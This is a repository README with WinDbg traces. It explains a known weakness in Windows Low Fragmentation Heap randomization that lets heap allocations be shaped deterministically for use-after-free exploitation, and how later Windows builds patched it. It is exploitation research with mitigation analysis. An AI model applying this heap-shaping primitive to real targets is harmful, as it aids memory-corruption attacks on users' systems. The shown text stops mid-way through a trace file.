├── README.md ├── debug_traces ├── build_14393_traces.txt ├── build_16179_traces.txt └── build_17763_traces.txt ├── images ├── RtlpInitializeLfhRandomDataArray.png ├── RtlpLowFragHeapRandomData_xrefs.PNG ├── build_14393_logic.png ├── build_16179_logic.png ├── check_freed.png ├── end_of_RtlpHpLfhSubsegmentInitialize.PNG ├── example.png ├── example_16179.png ├── getContiguousAllocations.png ├── getFreedChunk.png └── trivial_heap_shape.png └── src ├── Defs.h └── Source.cpp /README.md: -------------------------------------------------------------------------------- 1 | # deterministic LFH 2 | 3 | Windows have done a lot of work on the NT heap internals, replacing the super-old Windows XP lookaside with the LFH (Low Fragmentation Heap, the current front end). I'm not going to talk about the LFH internals, since I assume it's trivial knowledge (we all love to exploit corruptions on the LFH, or in the Page/NonPagePoolNx in the kernel). Also, there are simply *excellent* papers and works describing it in very nice ways. I personally feel I owe a lot to Chris Valasek: 4 | 5 | [Understanding the LFH](http://illmatics.com/Understanding_the_LFH.pdf) 6 | 7 | [Windows 8 Heap Internals](https://media.blackhat.com/bh-us-12/Briefings/Valasek/BH_US_12_Valasek_Windows_8_Heap_Internals_Slides.pdf) 8 | 9 | [Windows 10 Segment Heap](https://www.blackhat.com/docs/us-16/materials/us-16-Yason-Windows-10-Segment-Heap-Internals.pdf) 10 | 11 | So what do I want to do here? I'm going to present a known issue in the randomization of the LFH in Windows 8+. The randomization, as you all know, came up as mitigation against trivial exploit techniques of UAF or different kinds of corruption vulnerabilities. In those cases, we usually want to shape our heap to get contiguous allocations, or to be able to make the stub malloc() --> free() --> malloc() return the same chunk. So, shaping the heap to be something like that: 12 | 13 | ![alt text](https://github.com/saaramar/Deterministic_LFH/raw/master/images/trivial_heap_shape.png "") 14 | 15 | is not quite trivial now, since allocations in the LFH are randomized by order. Of-course, a lot of different attacks can be performed (spray the whole userblocks with some desired object, and then corrupt all of them, and a lot more - there is always a way to execute code!), but let's attack the randomization itself here. 16 | 17 | The following issue is *NOT* news - it has been known for a long time by now, and I have seen it in many posts and exploits. I just saw a lot of unknown and unware posts and people regarding this, so I thought - why not write trivial POC and a little explanation about it? 18 | 19 | New commit: Matt Miller pointed out that this primitive is broken in Windows 10 new build (16179). I was curious, and bindiffed it, reversed the new ntdll and found why. After I present the attack, I'll explain why it no longer holds on build 16179. 20 | 21 | ## Randomization Implementation 22 | 23 | The implementation is really simple. We can find it in the ntdll!RtlpCreateLowFragHeap function (again, I assume you all know the mechanism in ntdll, and you can find a great internals description in the published posts and exploits). There is a call to RtlpInitializeLfhRandomDataArray: 24 | 25 | ![alt text](https://github.com/saaramar/Deterministic_LFH/raw/master/images/RtlpInitializeLfhRandomDataArray.png "") 26 | 27 | RtlpInitializeLfhRandomDataArray will fill the RtlpLowFragHeapRandomData array with 0x100 random values. This random array will then be used with some other value which together are used to determine some position value. From this position, we look for the first free chunk in the relevant userblocks to return to the user. You can see it all in the initialization of the SubSegment in ntdll!RtlpSubSegmentInitialize. Really simple, right? 28 | 29 | ## Nice attack 30 | 31 | So, trivially, if we'll try to do something like this: 32 | 33 | ![alt text](https://github.com/saaramar/Deterministic_LFH/raw/master/images/check_freed.png "") 34 | 35 | we'll get different chunks. But, we could do something like this: 36 | 37 | ![alt text](https://github.com/saaramar/Deterministic_LFH/raw/master/images/getFreedChunk.png "") 38 | 39 | The last malloc will start to search for a free chunk in the bitmap, from the same position it started in the first malloc! So we'll get the same chunk! The *exact* same trick can be used to shape the heap and get contiguous chunks: 40 | 41 | ![alt text](https://github.com/saaramar/Deterministic_LFH/raw/master/images/getContiguousAllocations.png "") 42 | 43 | chunk1 and chunk2 will be adjcent to each other. Cool! 44 | 45 | You can see the trivial POCs in the source. Enjoy. 46 | 47 | ![alt text](https://github.com/saaramar/Deterministic_LFH/raw/master/images/example.png "") 48 | 49 | ## Windows 10 build 16179 50 | 51 | Well, if we just execute my POC on Windows 10 build 16179, we'll see that something breaks. 52 | 53 | ![alt text](https://github.com/saaramar/Deterministic_LFH/raw/master/images/example_16179.png "") 54 | 55 | Interesting! Let's see why. I bindiff ntdll, and found pretty quickly that there was no change to the random data array itself (there are no additional writes to RtlpLowFragHeapRandomData), and it remains with the same values for the entire heap lifetime. I actually expected from Microsoft to change that - I mean, you want random? Why not use a *truly* random all the time? 56 | 57 | But fine, let's keep looking. Pretty quickly you see that the diff is in the logic of picking a new value from the random data array. The index we are looking for, as I explained before, is just increment by 1 and overlapped on 0x100. Well, in build 16179, this was patched. Now, they add another call to RtlpHeapGenerateRandomValue32(), and with that they change the next index! 58 | 59 | code from build 14393: 60 | ![alt text](https://github.com/saaramar/Deterministic_LFH/raw/master/images/build_14393_logic.png "") 61 | 62 | code from build 16179: 63 | ![alt text](https://github.com/saaramar/Deterministic_LFH/raw/master/images/build_16179_logic.png "") 64 | 65 | I debugged both of them. You can see the full tracing in the debug_trace directory. I cut one change of the slot and pasted it here. 66 | 67 | traces from build 14393: 68 | ``` 69 | 0:001> u RtlpLowFragHeapAllocFromContext+1B1 70 | ntdll!RtlpLowFragHeapAllocFromContext+0x1b1: 71 | 00007ffb`13768dd1 470fb68c0860091500 movzx r9d,byte ptr [r8+r9+150960h] 72 | 00007ffb`13768dda 418d4001 lea eax,[r8+1] 73 | 00007ffb`13768dde 664123c4 and ax,r12w 74 | 00007ffb`13768de2 668981b2170000 mov word ptr [rcx+17B2h],ax 75 | 00007ffb`13768de9 4d8b4220 mov r8,qword ptr [r10+20h] 76 | 00007ffb`13768ded 4d8b6228 mov r12,qword ptr [r10+28h] 77 | 00007ffb`13768df1 4983f840 cmp r8,40h 78 | 00007ffb`13768df5 0f8250010000 jb ntdll!RtlpLowFragHeapAllocFromContext+0x32b (00007ffb`13768f4b) 79 | 0:001> bp RtlpLowFragHeapAllocFromContext+1B1 ".printf \"RtlpLowFragHeapRandomData == 0x%p, currIdx == 0x%p\\r\\n\", @r9, @r8;g" 80 | 0:001> g 81 | ... 82 | RtlpLowFragHeapRandomData == 0x00007ffb13730000, currIdx == 0x00000000000000ef 83 | RtlpLowFragHeapRandomData == 0x00007ffb13730000, currIdx == 0x00000000000000f0 84 | RtlpLowFragHeapRandomData == 0x00007ffb13730000, currIdx == 0x00000000000000f1 85 | RtlpLowFragHeapRandomData == 0x00007ffb13730000, currIdx == 0x00000000000000f2 86 | RtlpLowFragHeapRandomData == 0x00007ffb13730000, currIdx == 0x00000000000000f3 87 | RtlpLowFragHeapRandomData == 0x00007ffb13730000, currIdx == 0x00000000000000f4 88 | RtlpLowFragHeapRandomData == 0x00007ffb13730000, currIdx == 0x00000000000000f5 89 | RtlpLowFragHeapRandomData == 0x00007ffb13730000, currIdx == 0x00000000000000f6 90 | RtlpLowFragHeapRandomData == 0x00007ffb13730000, currIdx == 0x00000000000000f7 91 | RtlpLowFragHeapRandomData == 0x00007ffb13730000, currIdx == 0x00000000000000f8 92 | RtlpLowFragHeapRandomData == 0x00007ffb13730000, currIdx == 0x00000000000000f9 93 | RtlpLowFragHeapRandomData == 0x00007ffb13730000, currIdx == 0x00000000000000fa 94 | RtlpLowFragHeapRandomData == 0x00007ffb13730000, currIdx == 0x00000000000000fb 95 | RtlpLowFragHeapRandomData == 0x00007ffb13730000, currIdx == 0x00000000000000fc 96 | RtlpLowFragHeapRandomData == 0x00007ffb13730000, currIdx == 0x00000000000000fd 97 | RtlpLowFragHeapRandomData == 0x00007ffb13730000, currIdx == 0x00000000000000fe 98 | RtlpLowFragHeapRandomData == 0x00007ffb13730000, currIdx == 0x00000000000000ff 99 | RtlpLowFragHeapRandomData == 0x00007ffb13730000, currIdx == 0x0000000000000000 100 | RtlpLowFragHeapRandomData == 0x00007ffb13730000, currIdx == 0x0000000000000001 101 | RtlpLowFragHeapRandomData == 0x00007ffb13730000, currIdx == 0x0000000000000002 102 | RtlpLowFragHeapRandomData == 0x00007ffb13730000, currIdx == 0x0000000000000003 103 | RtlpLowFragHeapRandomData == 0x00007ffb13730000, currIdx == 0x0000000000000004 104 | RtlpLowFragHeapRandomData == 0x00007ffb13730000, currIdx == 0x0000000000000005 105 | RtlpLowFragHeapRandomData == 0x00007ffb13730000, currIdx == 0x0000000000000006 106 | RtlpLowFragHeapRandomData == 0x00007ffb13730000, currIdx == 0x0000000000000007 107 | RtlpLowFragHeapRandomData == 0x00007ffb13730000, currIdx == 0x0000000000000008 108 | ``` 109 | 110 | traces from build 16179: 111 | ``` 112 | 0:001> u ntdll!RtlpLowFragHeapAllocFromContext+327 113 | ntdll!RtlpLowFragHeapAllocFromContext+0x327: 114 | 00007ffb`e7e5df27 440fb69c0800691500 movzx r11d,byte ptr [rax+rcx+156900h] 115 | 00007ffb`e7e5df30 4983f940 cmp r9,40h 116 | 00007ffb`e7e5df34 730e jae ntdll!RtlpLowFragHeapAllocFromContext+0x344 (00007ffb`e7e5df44) 117 | 00007ffb`e7e5df36 4d8b4628 mov r8,qword ptr [r14+28h] 118 | 00007ffb`e7e5df3a 4c3bce cmp r9,rsi 119 | 00007ffb`e7e5df3d 7358 jae ntdll!RtlpLowFragHeapAllocFromContext+0x397 (00007ffb`e7e5df97) 120 | 00007ffb`e7e5df3f 418bf1 mov esi,r9d 121 | 00007ffb`e7e5df42 eb53 jmp ntdll!RtlpLowFragHeapAllocFromContext+0x397 (00007ffb`e7e5df97) 122 | 0:001> bp ntdll!RtlpLowFragHeapAllocFromContext+327 ".printf \"RtlpLowFragHeapRandomData == 0x%p, currIdx == 0x%p\\r\\n\", @rcx, @rax;g" 123 | 0:001> g 124 | ... 125 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x00000000000000fc 126 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x00000000000000fd 127 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x00000000000000fe 128 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x00000000000000ff 129 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x0000000000000000 130 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x00000000000000c6 <--- here 131 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x00000000000000c7 132 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x00000000000000c8 133 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x00000000000000c9 134 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x00000000000000ca 135 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x00000000000000cb 136 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x00000000000000cc 137 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x00000000000000cd 138 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x00000000000000ce 139 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x00000000000000cf 140 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x00000000000000d0 141 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x00000000000000d1 142 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x00000000000000d2 143 | ``` 144 | 145 | ## Uniform Distribution 146 | 147 | One important note here, is that we don’t want to pointer to the random data array (ntdll!RtlpLowFragHeapRandomData) to simply overlapped from 0xff to random index between [0x0, 0xff]. Such behavior would mean that the probability we used the values in the beginning of the random data array is much smaller than the probability we used end of the array (the probability we used RtlpLowFragHeapRandomData[0xff] is 1). 148 | 149 | So, in order to avoid such a case, the index the code picks from is reset to a random index not at 0xff, but only when the MSB and LSB of the current index are equal (see the branch screenshot above). And it means that we actually have uniform distribution over the entire range [0, 0xff] 150 | 151 | For instance, those [traces](https://github.com/saaramar/Deterministic_LFH/raw/master/debug_traces/build_17763_traces.txt) are from build 17763: 152 | 153 | ``` 154 | 0:004> bp ntdll!RtlpLowFragHeapAllocFromContext+180 ".printf \"currIDx == 0x%x\\r\\n\", @ax;g" 155 | 0:004> g 156 | currIDx == 0x7566 157 | currIDx == 0x7567 158 | currIDx == 0x7568 159 | currIDx == 0x7569 160 | currIDx == 0x756a 161 | currIDx == 0x756b 162 | currIDx == 0x756c 163 | currIDx == 0x756d 164 | currIDx == 0x756e 165 | currIDx == 0x756f 166 | currIDx == 0x7570 167 | currIDx == 0x7571 168 | currIDx == 0x7572 169 | currIDx == 0x7573 170 | currIDx == 0x7574 171 | currIDx == 0x7575 <-- MSB == LSB, call random 172 | currIDx == 0x3233 173 | currIDx == 0x3234 174 | currIDx == 0x3235 175 | currIDx == 0x3236 176 | currIDx == 0x3237 177 | currIDx == 0x3238 178 | currIDx == 0x3239 179 | currIDx == 0x323a 180 | currIDx == 0x323b 181 | currIDx == 0x323c 182 | currIDx == 0x323d 183 | ... 184 | currIDx == 0x321e 185 | currIDx == 0x321f 186 | currIDx == 0x3220 187 | currIDx == 0x3221 188 | currIDx == 0x3222 189 | currIDx == 0x3223 190 | currIDx == 0x3224 191 | currIDx == 0x3225 192 | currIDx == 0x3226 193 | currIDx == 0x3227 194 | currIDx == 0x3228 195 | currIDx == 0x3229 196 | currIDx == 0x322a 197 | currIDx == 0x322b 198 | currIDx == 0x322c 199 | currIDx == 0x322d 200 | currIDx == 0x322e 201 | currIDx == 0x322f 202 | currIDx == 0x3230 203 | currIDx == 0x3231 204 | currIDx == 0x3232 <-- MSB == LSB, call random 205 | currIDx == 0x2526 206 | currIDx == 0x2527 207 | currIDx == 0x2528 208 | currIDx == 0x2529 209 | currIDx == 0x252a 210 | ... 211 | currIDx == 0x251d 212 | currIDx == 0x251e 213 | currIDx == 0x251f 214 | currIDx == 0x2520 215 | currIDx == 0x2521 216 | currIDx == 0x2522 217 | currIDx == 0x2523 218 | currIDx == 0x2524 219 | currIDx == 0x2525 <-- MSB == LSB, call random 220 | currIDx == 0x5d5e 221 | currIDx == 0x5d5f 222 | currIDx == 0x5d60 223 | currIDx == 0x5d61 224 | ``` 225 | 226 | Take all of those values, and see the distribution: 227 | 228 | ``` 229 | >>> len(dwords_indices_from_RtlpLowFragHeapAllocFromContext) 230 | 20370 231 | >>> actual_indices = [] 232 | >>> for n in dwords_indices_from_RtlpLowFragHeapAllocFromContext: 233 | ... actual_indices.append(n & 0xff) 234 | ... 235 | >>> Counter(actual_indices) 236 | Counter({0: 80, 1: 80, 2: 80, 3: 80, 4: 80, 6: 80, 7: 80, 8: 80, 9: 80, 10: 80, 11: 80, 13: 80, 14: 80, 15: 80, 16: 80, 17: 80, 52: 80, 53: 80, 55: 80, 56: 80, 57: 80, 58: 80, 59: 80, 61: 80, 62: 80, 64: 80, 65: 80, 66: 80, 67: 80, 68: 80, 69: 80, 70: 80, 71: 80, 72: 80, 73: 80, 74: 80, 75: 80, 76: 80, 77: 80, 78: 80, 79: 80, 80: 80, 81: 80, 82: 80, 84: 80, 85: 80, 86: 80, 87: 80, 88: 80, 89: 80, 90: 80, 91: 80, 92: 80, 93: 80, 94: 80, 95: 80, 97: 80, 98: 80, 99: 80, 100: 80, 101: 80, 102: 80, 103: 80, 104: 80, 105: 80, 106: 80, 107: 80, 108: 80, 109: 80, 111: 80, 112: 80, 113: 80, 114: 80, 115: 80, 116: 80, 117: 80, 118: 80, 119: 80, 120: 80, 121: 80, 173: 80, 174: 80, 175: 80, 176: 80, 177: 80, 178: 80, 179: 80, 180: 80, 181: 80, 183: 80, 184: 80, 185: 80, 186: 80, 187: 80, 189: 80, 190: 80, 191: 80, 192: 80, 193: 80, 194: 80, 195: 80, 196: 80, 197: 80, 198: 80, 200: 80, 201: 80, 202: 80, 203: 80, 204: 80, 205: 80, 206: 80, 207: 80, 208: 80, 210: 80, 211: 80, 212: 80, 213: 80, 214: 80, 215: 80, 216: 80, 219: 80, 220: 80, 221: 80, 222: 80, 223: 80, 224: 80, 225: 80, 226: 80, 227: 80, 228: 80, 229: 80, 230: 80, 231: 80, 232: 80, 233: 80, 234: 80, 235: 80, 236: 80, 238: 80, 239: 80, 240: 80, 241: 80, 242: 80, 243: 80, 244: 80, 245: 80, 246: 80, 247: 80, 248: 80, 249: 80, 251: 80, 252: 80, 253: 80, 254: 80, 255: 80, 5: 79, 12: 79, 18: 79, 19: 79, 20: 79, 22: 79, 23: 79, 24: 79, 25: 79, 27: 79, 28: 79, 30: 79, 31: 79, 32: 79, 33: 79, 34: 79, 35: 79, 36: 79, 37: 79, 38: 79, 39: 79, 40: 79, 41: 79, 42: 79, 43: 79, 44: 79, 46: 79, 47: 79, 48: 79, 49: 79, 50: 79, 51: 79, 54: 79, 60: 79, 63: 79, 83: 79, 96: 79, 110: 79, 122: 79, 123: 79, 124: 79, 126: 79, 127: 79, 128: 79, 129: 79, 130: 79, 131: 79, 132: 79, 133: 79, 135: 79, 136: 79, 137: 79, 138: 79, 139: 79, 140: 79, 141: 79, 142: 79, 143: 79, 144: 79, 146: 79, 147: 79, 148: 79, 149: 79, 150: 79, 151: 79, 152: 79, 153: 79, 154: 79, 155: 79, 156: 79, 157: 79, 158: 79, 159: 79, 160: 79, 161: 79, 162: 79, 163: 79, 164: 79, 167: 79, 168: 79, 169: 79, 170: 79, 171: 79, 172: 79, 182: 79, 188: 79, 199: 79, 209: 79, 217: 79, 218: 79, 237: 79, 250: 79, 21: 78, 26: 78, 29: 78, 45: 78, 125: 78, 134: 78, 145: 78, 165: 78, 166: 78}) 237 | ``` 238 | 239 | But that’s not all. The content of the ```RtlpLowFragHeapRandomData``` array actually keeps changing over time. If we look at all the xrefs of this symbol, we see 3 places in ntdll: 240 | 241 | ![alt text](https://github.com/saaramar/Deterministic_LFH/raw/master/images/RtlpLowFragHeapRandomData_xrefs.PNG "") 242 | 243 | The first one is clear – it is the first loop we saw at the beginning of this blogpost, the first time we initialize the array to contain truly random values. However, there is another improvement – each time a new subsegment is being initialized, we update 8 bytes of ```RtlpLowFragHeapRandomData```, as can be shown here: 244 | 245 | ![alt text](https://github.com/saaramar/Deterministic_LFH/raw/master/images/end_of_RtlpHpLfhSubsegmentInitialize.PNG "") 246 | -------------------------------------------------------------------------------- /debug_traces/build_14393_traces.txt: -------------------------------------------------------------------------------- 1 | ************* Symbol Path validation summary ************** 2 | Response Time (ms) Location 3 | Deferred srv*C:\Symbols*http://msdl.microsoft.com/download/symbols 4 | Symbol search path is: srv*C:\Symbols*http://msdl.microsoft.com/download/symbols 5 | Executable search path is: 6 | ModLoad: 00007ff6`d78c0000 00007ff6`d7a43000 C:\Users\amarsa\LFH\lfh_random_poc.exe 7 | ModLoad: 00007ffb`13730000 00007ffb`13901000 C:\WINDOWS\SYSTEM32\ntdll.dll 8 | ModLoad: 00007ffb`11780000 00007ffb`1182b000 C:\WINDOWS\System32\KERNEL32.DLL 9 | ModLoad: 00007ffb`10800000 00007ffb`10a1d000 C:\WINDOWS\System32\KERNELBASE.dll 10 | (21e0.2188): Break instruction exception - code 80000003 (first chance) 11 | ntdll!DbgBreakPoint: 12 | 00007ffb`137d9920 cc int 3 13 | 0:001> bp RtlpLowFragHeapAllocFromContext+1B1 ".printf \"RtlpLowFragHeapRandomData == 0x%p, currIdx == 0x%p\\r\\n\", @r9, @r8;g" 14 | 0:001> g 15 | RtlpLowFragHeapRandomData == 0x00007ffb13730000, currIdx == 0x000000000000000b 16 | RtlpLowFragHeapRandomData == 0x00007ffb13730000, currIdx == 0x000000000000000c 17 | RtlpLowFragHeapRandomData == 0x00007ffb13730000, currIdx == 0x000000000000000d 18 | RtlpLowFragHeapRandomData == 0x00007ffb13730000, currIdx == 0x000000000000000e 19 | RtlpLowFragHeapRandomData == 0x00007ffb13730000, currIdx == 0x000000000000000f 20 | RtlpLowFragHeapRandomData == 0x00007ffb13730000, currIdx == 0x0000000000000010 21 | RtlpLowFragHeapRandomData == 0x00007ffb13730000, currIdx == 0x0000000000000011 22 | RtlpLowFragHeapRandomData == 0x00007ffb13730000, currIdx == 0x0000000000000012 23 | RtlpLowFragHeapRandomData == 0x00007ffb13730000, currIdx == 0x0000000000000013 24 | RtlpLowFragHeapRandomData == 0x00007ffb13730000, currIdx == 0x0000000000000014 25 | RtlpLowFragHeapRandomData == 0x00007ffb13730000, currIdx == 0x0000000000000015 26 | RtlpLowFragHeapRandomData == 0x00007ffb13730000, currIdx == 0x0000000000000016 27 | RtlpLowFragHeapRandomData == 0x00007ffb13730000, currIdx == 0x0000000000000017 28 | RtlpLowFragHeapRandomData == 0x00007ffb13730000, currIdx == 0x0000000000000018 29 | RtlpLowFragHeapRandomData == 0x00007ffb13730000, currIdx == 0x0000000000000019 30 | RtlpLowFragHeapRandomData == 0x00007ffb13730000, currIdx == 0x000000000000001a 31 | RtlpLowFragHeapRandomData == 0x00007ffb13730000, currIdx == 0x000000000000001b 32 | RtlpLowFragHeapRandomData == 0x00007ffb13730000, currIdx == 0x000000000000001c 33 | RtlpLowFragHeapRandomData == 0x00007ffb13730000, currIdx == 0x000000000000001d 34 | RtlpLowFragHeapRandomData == 0x00007ffb13730000, currIdx == 0x0000000000000020 35 | RtlpLowFragHeapRandomData == 0x00007ffb13730000, currIdx == 0x0000000000000021 36 | RtlpLowFragHeapRandomData == 0x00007ffb13730000, currIdx == 0x0000000000000022 37 | RtlpLowFragHeapRandomData == 0x00007ffb13730000, currIdx == 0x0000000000000023 38 | RtlpLowFragHeapRandomData == 0x00007ffb13730000, currIdx == 0x0000000000000024 39 | RtlpLowFragHeapRandomData == 0x00007ffb13730000, currIdx == 0x0000000000000025 40 | RtlpLowFragHeapRandomData == 0x00007ffb13730000, currIdx == 0x0000000000000026 41 | RtlpLowFragHeapRandomData == 0x00007ffb13730000, currIdx == 0x0000000000000027 42 | RtlpLowFragHeapRandomData == 0x00007ffb13730000, currIdx == 0x0000000000000028 43 | RtlpLowFragHeapRandomData == 0x00007ffb13730000, currIdx == 0x0000000000000029 44 | RtlpLowFragHeapRandomData == 0x00007ffb13730000, currIdx == 0x000000000000002a 45 | RtlpLowFragHeapRandomData == 0x00007ffb13730000, currIdx == 0x000000000000002b 46 | RtlpLowFragHeapRandomData == 0x00007ffb13730000, currIdx == 0x000000000000002c 47 | RtlpLowFragHeapRandomData == 0x00007ffb13730000, currIdx == 0x000000000000002d 48 | RtlpLowFragHeapRandomData == 0x00007ffb13730000, currIdx == 0x000000000000002e 49 | RtlpLowFragHeapRandomData == 0x00007ffb13730000, currIdx == 0x000000000000002f 50 | RtlpLowFragHeapRandomData == 0x00007ffb13730000, currIdx == 0x0000000000000030 51 | RtlpLowFragHeapRandomData == 0x00007ffb13730000, currIdx == 0x0000000000000031 52 | RtlpLowFragHeapRandomData == 0x00007ffb13730000, currIdx == 0x0000000000000032 53 | RtlpLowFragHeapRandomData == 0x00007ffb13730000, currIdx == 0x0000000000000033 54 | RtlpLowFragHeapRandomData == 0x00007ffb13730000, currIdx == 0x0000000000000034 55 | RtlpLowFragHeapRandomData == 0x00007ffb13730000, currIdx == 0x0000000000000035 56 | RtlpLowFragHeapRandomData == 0x00007ffb13730000, currIdx == 0x0000000000000036 57 | RtlpLowFragHeapRandomData == 0x00007ffb13730000, currIdx == 0x0000000000000037 58 | RtlpLowFragHeapRandomData == 0x00007ffb13730000, currIdx == 0x0000000000000038 59 | RtlpLowFragHeapRandomData == 0x00007ffb13730000, currIdx == 0x0000000000000039 60 | RtlpLowFragHeapRandomData == 0x00007ffb13730000, currIdx == 0x000000000000003a 61 | RtlpLowFragHeapRandomData == 0x00007ffb13730000, currIdx == 0x000000000000003b 62 | RtlpLowFragHeapRandomData == 0x00007ffb13730000, currIdx == 0x000000000000003c 63 | RtlpLowFragHeapRandomData == 0x00007ffb13730000, currIdx == 0x000000000000003d 64 | RtlpLowFragHeapRandomData == 0x00007ffb13730000, currIdx == 0x000000000000003e 65 | RtlpLowFragHeapRandomData == 0x00007ffb13730000, currIdx == 0x000000000000003f 66 | RtlpLowFragHeapRandomData == 0x00007ffb13730000, currIdx == 0x0000000000000040 67 | RtlpLowFragHeapRandomData == 0x00007ffb13730000, currIdx == 0x0000000000000041 68 | RtlpLowFragHeapRandomData == 0x00007ffb13730000, currIdx == 0x0000000000000042 69 | RtlpLowFragHeapRandomData == 0x00007ffb13730000, currIdx == 0x0000000000000043 70 | RtlpLowFragHeapRandomData == 0x00007ffb13730000, currIdx == 0x0000000000000044 71 | RtlpLowFragHeapRandomData == 0x00007ffb13730000, currIdx == 0x0000000000000045 72 | RtlpLowFragHeapRandomData == 0x00007ffb13730000, currIdx == 0x0000000000000046 73 | RtlpLowFragHeapRandomData == 0x00007ffb13730000, currIdx == 0x0000000000000049 74 | RtlpLowFragHeapRandomData == 0x00007ffb13730000, currIdx == 0x000000000000004a 75 | RtlpLowFragHeapRandomData == 0x00007ffb13730000, currIdx == 0x000000000000004b 76 | RtlpLowFragHeapRandomData == 0x00007ffb13730000, currIdx == 0x000000000000004c 77 | RtlpLowFragHeapRandomData == 0x00007ffb13730000, currIdx == 0x000000000000004d 78 | RtlpLowFragHeapRandomData == 0x00007ffb13730000, currIdx == 0x000000000000004e 79 | RtlpLowFragHeapRandomData == 0x00007ffb13730000, currIdx == 0x000000000000004f 80 | RtlpLowFragHeapRandomData == 0x00007ffb13730000, currIdx == 0x0000000000000050 81 | RtlpLowFragHeapRandomData == 0x00007ffb13730000, currIdx == 0x0000000000000051 82 | RtlpLowFragHeapRandomData == 0x00007ffb13730000, currIdx == 0x0000000000000052 83 | RtlpLowFragHeapRandomData == 0x00007ffb13730000, currIdx == 0x0000000000000053 84 | RtlpLowFragHeapRandomData == 0x00007ffb13730000, currIdx == 0x0000000000000054 85 | RtlpLowFragHeapRandomData == 0x00007ffb13730000, currIdx == 0x0000000000000055 86 | RtlpLowFragHeapRandomData == 0x00007ffb13730000, currIdx == 0x0000000000000056 87 | RtlpLowFragHeapRandomData == 0x00007ffb13730000, currIdx == 0x0000000000000057 88 | RtlpLowFragHeapRandomData == 0x00007ffb13730000, currIdx == 0x0000000000000058 89 | RtlpLowFragHeapRandomData == 0x00007ffb13730000, currIdx == 0x0000000000000059 90 | RtlpLowFragHeapRandomData == 0x00007ffb13730000, currIdx == 0x000000000000005a 91 | RtlpLowFragHeapRandomData == 0x00007ffb13730000, currIdx == 0x000000000000005b 92 | RtlpLowFragHeapRandomData == 0x00007ffb13730000, currIdx == 0x000000000000005c 93 | RtlpLowFragHeapRandomData == 0x00007ffb13730000, currIdx == 0x000000000000005d 94 | RtlpLowFragHeapRandomData == 0x00007ffb13730000, currIdx == 0x000000000000005e 95 | RtlpLowFragHeapRandomData == 0x00007ffb13730000, currIdx == 0x000000000000005f 96 | RtlpLowFragHeapRandomData == 0x00007ffb13730000, currIdx == 0x0000000000000060 97 | RtlpLowFragHeapRandomData == 0x00007ffb13730000, currIdx == 0x0000000000000061 98 | RtlpLowFragHeapRandomData == 0x00007ffb13730000, currIdx == 0x0000000000000062 99 | RtlpLowFragHeapRandomData == 0x00007ffb13730000, currIdx == 0x0000000000000063 100 | RtlpLowFragHeapRandomData == 0x00007ffb13730000, currIdx == 0x0000000000000064 101 | RtlpLowFragHeapRandomData == 0x00007ffb13730000, currIdx == 0x0000000000000065 102 | RtlpLowFragHeapRandomData == 0x00007ffb13730000, currIdx == 0x0000000000000066 103 | RtlpLowFragHeapRandomData == 0x00007ffb13730000, currIdx == 0x0000000000000067 104 | RtlpLowFragHeapRandomData == 0x00007ffb13730000, currIdx == 0x0000000000000068 105 | RtlpLowFragHeapRandomData == 0x00007ffb13730000, currIdx == 0x0000000000000069 106 | RtlpLowFragHeapRandomData == 0x00007ffb13730000, currIdx == 0x000000000000006a 107 | RtlpLowFragHeapRandomData == 0x00007ffb13730000, currIdx == 0x000000000000006b 108 | RtlpLowFragHeapRandomData == 0x00007ffb13730000, currIdx == 0x000000000000006c 109 | RtlpLowFragHeapRandomData == 0x00007ffb13730000, currIdx == 0x000000000000006d 110 | RtlpLowFragHeapRandomData == 0x00007ffb13730000, currIdx == 0x000000000000006e 111 | RtlpLowFragHeapRandomData == 0x00007ffb13730000, currIdx == 0x000000000000006f 112 | RtlpLowFragHeapRandomData == 0x00007ffb13730000, currIdx == 0x0000000000000072 113 | RtlpLowFragHeapRandomData == 0x00007ffb13730000, currIdx == 0x0000000000000073 114 | RtlpLowFragHeapRandomData == 0x00007ffb13730000, currIdx == 0x0000000000000074 115 | RtlpLowFragHeapRandomData == 0x00007ffb13730000, currIdx == 0x0000000000000075 116 | RtlpLowFragHeapRandomData == 0x00007ffb13730000, currIdx == 0x0000000000000076 117 | RtlpLowFragHeapRandomData == 0x00007ffb13730000, currIdx == 0x0000000000000077 118 | RtlpLowFragHeapRandomData == 0x00007ffb13730000, currIdx == 0x0000000000000078 119 | RtlpLowFragHeapRandomData == 0x00007ffb13730000, currIdx == 0x0000000000000079 120 | RtlpLowFragHeapRandomData == 0x00007ffb13730000, currIdx == 0x000000000000007a 121 | RtlpLowFragHeapRandomData == 0x00007ffb13730000, currIdx == 0x000000000000007b 122 | RtlpLowFragHeapRandomData == 0x00007ffb13730000, currIdx == 0x000000000000007c 123 | RtlpLowFragHeapRandomData == 0x00007ffb13730000, currIdx == 0x000000000000007d 124 | RtlpLowFragHeapRandomData == 0x00007ffb13730000, currIdx == 0x000000000000007e 125 | RtlpLowFragHeapRandomData == 0x00007ffb13730000, currIdx == 0x000000000000007f 126 | RtlpLowFragHeapRandomData == 0x00007ffb13730000, currIdx == 0x0000000000000080 127 | RtlpLowFragHeapRandomData == 0x00007ffb13730000, currIdx == 0x0000000000000081 128 | RtlpLowFragHeapRandomData == 0x00007ffb13730000, currIdx == 0x0000000000000082 129 | RtlpLowFragHeapRandomData == 0x00007ffb13730000, currIdx 